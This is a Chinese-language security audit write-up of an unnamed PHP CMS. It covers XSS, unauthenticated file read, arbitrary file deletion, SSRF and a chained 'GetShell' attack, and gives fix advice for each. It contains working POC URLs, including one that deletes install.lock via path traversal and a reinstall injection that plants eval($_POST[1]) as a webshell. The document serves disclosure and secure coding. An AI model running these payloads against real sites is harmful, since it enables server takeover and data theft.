某CMS代码审计
字数 1271 2025-08-07 00:34:58

某CMS代码审计全面解析

0x00 审计环境准备

  • PHP版本:7.4
  • 开发工具:VSCode + PHPDebug
  • 审计方法:从index.php入口文件开始分析,逐步理解代码功能和实现逻辑

0x01 前端XSS漏洞

漏洞文件:/apiRun.php

漏洞代码

function AutoRun(){
    $mode = trim(@$_GET['mode']);
    $sec = trim(@$_GET['sec']);
    if (is_numeric($sec) == false){ $sec = 300; }
    if ($sec < 60){ $sec = 300; }
    ?>
    var mode = "<?php echo($mode); ?>";

漏洞分析

  • mode参数直接输出到JavaScript中,未进行任何过滤或编码
  • 攻击者可构造恶意输入闭合引号并执行任意JS代码

POC

/apiRun.php?mudi=autoRun&mode=";alert(/xss/);//&sec=300

修复建议

  • 对输出到JS的变量使用json_encode()htmlspecialchars()进行编码
  • 添加Content Security Policy(CSP)头

0x02 未授权任意文件读取漏洞

漏洞文件:admin/readDeal.php

漏洞代码

function ReadQrCode(){
    $dir = OT::GetStr('dir');
    $img = OT::GetStr('img');
    if (strlen($img) == 0){ die('二维码图片路径为空'); }
    if (! Is::HttpUrl($img)){
        $img = StrInfo::FilePath($dir, $img);
        if (! file_exists($img)){ die('二维码图片不存在('. $img .')'); }
    }  
    include_once(OT_ROOT .'inc/QrReader/QrReader.php');
    $qrcode = new QrReader($img);   // 图片路径
    $text = $qrcode->text();        //返回识别后的文本
    if (strlen($text) == 0){ die('二维码图片识别不了'); }
    die($text);
}

漏洞分析

  • 文件位于admin目录但未进行权限验证
  • 通过img参数可控制文件路径
  • 最终调用file_get_contents()读取文件内容

利用方式

  • 构造恶意请求读取系统敏感文件(如/etc/passwd)
  • 结合路径遍历可读取任意文件

修复建议

  • 添加管理员权限验证
  • 限制文件读取路径范围
  • 对输入路径进行严格校验

组合拳攻击:GetShell

0x01 任意文件删除漏洞

漏洞文件:userCenter_deal.php

漏洞代码

// 文件删除逻辑
File::Del($dashangImg1Old);

漏洞分析

  • 通过dashangImg1Old参数可控制删除的文件路径
  • 无路径遍历防护,可删除系统任意文件
  • 仅检查Referer防御CSRF,但可伪造

POC

http://127.0.0.1/usersCenter_deal.php?mudi=rev&revType=app&dashangImg1=huahua&dashangImg2=huahua&dashangImg3=huahua&dashangImg1Old=../../cache/web/install.lock
Referer:http://127.0.0.1

重装GetShell

漏洞文件:install/index.php

漏洞分析

  • 删除install.lock后可触发重装
  • 重装过程中accBackupDir参数存在SQL注入
  • 注入点可直接执行PHP代码

POC

http://127.0.0.1/install/index.php?mudi=run&accBackupDir=1');eval($_POST[1]);#&accDir=&accName=&adminDir=admin&adminName=admin&adminPwd=admin&dbType=mysql&isImport=2&mysqlState=1&sqlDbName=OTCMS&sqlIp=localhost&sqlPo=3306&sqlPref=OT_&sqlUserPwd=root&sqlUsername=root

修复建议

  • 对重装参数进行严格过滤
  • 使用预处理语句防止SQL注入
  • 限制install目录访问权限

0x03 后台SSRF漏洞

漏洞文件:inc/classReqUrl.php

漏洞代码

public static function UseCurl($method, $url, $charset='UTF-8', $dataArr=array()){
    if (empty($url)){
        return array('res'=>false, 'note'=>'UseCurl:网址为空');
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)');
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    // ...省略其他curl配置...
    $data = curl_exec($ch);

漏洞分析

  • 通过info_deal.php中的img参数可控制请求URL
  • 无URL白名单或黑名单限制
  • 可访问内网服务或探测内网信息

利用方式

  • 探测内网服务
  • 攻击内网脆弱服务
  • 读取云服务元数据

修复建议

  • 实现URL白名单机制
  • 禁用危险协议(file://, dict://等)
  • 限制访问内网IP段

总结

该CMS存在多个严重安全漏洞,包括:

  1. 前端XSS漏洞
  2. 未授权任意文件读取
  3. 任意文件删除
  4. 重装过程中的SQL注入导致RCE
  5. 后台SSRF漏洞

整体修复建议

  1. 对所有用户输入进行严格过滤和验证
  2. 实现完善的权限控制系统
  3. 使用预处理语句防止SQL注入
  4. 对文件操作进行路径限制
  5. 禁用危险函数和协议
  6. 实施最小权限原则
  7. 定期进行安全审计和代码审查

这套CMS源码整体安全防护较弱,开发者在设计时未充分考虑安全因素,导致多个高危漏洞存在。建议开发者参考OWASP Top 10等安全规范进行代码重构。

某CMS代码审计全面解析 0x00 审计环境准备 PHP版本:7.4 开发工具:VSCode + PHPDebug 审计方法:从index.php入口文件开始分析,逐步理解代码功能和实现逻辑 0x01 前端XSS漏洞 漏洞文件 :/apiRun.php 漏洞代码 : 漏洞分析 : mode 参数直接输出到JavaScript中,未进行任何过滤或编码 攻击者可构造恶意输入闭合引号并执行任意JS代码 POC : 修复建议 : 对输出到JS的变量使用 json_encode() 或 htmlspecialchars() 进行编码 添加Content Security Policy(CSP)头 0x02 未授权任意文件读取漏洞 漏洞文件 :admin/readDeal.php 漏洞代码 : 漏洞分析 : 文件位于admin目录但未进行权限验证 通过 img 参数可控制文件路径 最终调用 file_get_contents() 读取文件内容 利用方式 : 构造恶意请求读取系统敏感文件(如/etc/passwd) 结合路径遍历可读取任意文件 修复建议 : 添加管理员权限验证 限制文件读取路径范围 对输入路径进行严格校验 组合拳攻击:GetShell 0x01 任意文件删除漏洞 漏洞文件 :userCenter_ deal.php 漏洞代码 : 漏洞分析 : 通过 dashangImg1Old 参数可控制删除的文件路径 无路径遍历防护,可删除系统任意文件 仅检查Referer防御CSRF,但可伪造 POC : 重装GetShell 漏洞文件 :install/index.php 漏洞分析 : 删除install.lock后可触发重装 重装过程中 accBackupDir 参数存在SQL注入 注入点可直接执行PHP代码 POC : 修复建议 : 对重装参数进行严格过滤 使用预处理语句防止SQL注入 限制install目录访问权限 0x03 后台SSRF漏洞 漏洞文件 :inc/classReqUrl.php 漏洞代码 : 漏洞分析 : 通过info_ deal.php中的 img 参数可控制请求URL 无URL白名单或黑名单限制 可访问内网服务或探测内网信息 利用方式 : 探测内网服务 攻击内网脆弱服务 读取云服务元数据 修复建议 : 实现URL白名单机制 禁用危险协议(file://, dict://等) 限制访问内网IP段 总结 该CMS存在多个严重安全漏洞,包括: 前端XSS漏洞 未授权任意文件读取 任意文件删除 重装过程中的SQL注入导致RCE 后台SSRF漏洞 整体修复建议 : 对所有用户输入进行严格过滤和验证 实现完善的权限控制系统 使用预处理语句防止SQL注入 对文件操作进行路径限制 禁用危险函数和协议 实施最小权限原则 定期进行安全审计和代码审查 这套CMS源码整体安全防护较弱,开发者在设计时未充分考虑安全因素,导致多个高危漏洞存在。建议开发者参考OWASP Top 10等安全规范进行代码重构。